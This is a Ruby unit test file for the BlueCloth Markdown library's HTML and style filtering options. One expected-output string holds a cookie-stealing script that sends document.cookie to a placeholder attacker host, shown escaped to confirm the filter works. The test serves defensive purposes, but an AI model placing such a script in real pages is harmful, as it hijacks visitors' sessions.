#!/usr/bin/ruby # # Unit test for contributed features # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ # # Copyright (c) 2004 The FaerieMUD Consortium. # if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) basedir = File::dirname( __FILE__ ) require File::join( basedir, 'bctestcase' ) end ### This test case tests ... class ContribTestCase < BlueCloth::TestCase DangerousHtml = "" DangerousHtmlOutput = "

<script>document.location='http://www.hacktehplanet.com" + "/cgi-bin/cookie.cgi?' + document.cookie</script>

" DangerousStylesOutput = "" NoLessThanHtml = "Foo is definitely > than bar" NoLessThanOutput = "

Foo is definitely > than bar

" ### HTML filter options contributed by Florian Gross. ### Test the :filter_html restriction def test_10_filter_html printTestHeader "filter_html Option" rval = bc = nil # Test as a 1st-level param assert_nothing_raised { bc = BlueCloth::new( DangerousHtml, :filter_html ) } assert_instance_of BlueCloth, bc # Accessors assert_nothing_raised { rval = bc.filter_html } assert_equal true, rval assert_nothing_raised { rval = bc.filter_styles } assert_equal nil, rval # Test rendering with filters on assert_nothing_raised { rval = bc.to_html } assert_equal DangerousHtmlOutput, rval # Test setting it in a sub-array assert_nothing_raised { bc = BlueCloth::new( DangerousHtml, [:filter_html] ) } assert_instance_of BlueCloth, bc # Accessors assert_nothing_raised { rval = bc.filter_html } assert_equal true, rval assert_nothing_raised { rval = bc.filter_styles } assert_equal nil, rval # Test rendering with filters on assert_nothing_raised { rval = bc.to_html } assert_equal DangerousHtmlOutput, rval end ### Test the :filter_styles restriction def test_20_filter_styles printTestHeader "filter_styles Option" rval = bc = nil # Test as a 1st-level param assert_nothing_raised { bc = BlueCloth::new( DangerousHtml, :filter_styles ) } assert_instance_of BlueCloth, bc # Accessors assert_nothing_raised { rval = bc.filter_styles } assert_equal true, rval assert_nothing_raised { rval = bc.filter_html } assert_equal nil, rval # Test rendering with filters on assert_nothing_raised { rval = bc.to_html } assert_equal DangerousStylesOutput, rval # Test setting it in a subarray assert_nothing_raised { bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) } assert_instance_of BlueCloth, bc # Accessors assert_nothing_raised { rval = bc.filter_styles } assert_equal true, rval assert_nothing_raised { rval = bc.filter_html } assert_equal nil, rval # Test rendering with filters on assert_nothing_raised { rval = bc.to_html } assert_equal DangerousStylesOutput, rval end ### Test to be sure filtering when there's no opening angle brackets doesn't ### die. def test_30_filter_no_less_than printTestHeader "filter without a less-than" rval = bc = nil # Test as a 1st-level param assert_nothing_raised { bc = BlueCloth::new( NoLessThanHtml, :filter_html ) } assert_instance_of BlueCloth, bc assert_nothing_raised { rval = bc.to_html } assert_equal NoLessThanOutput, rval end end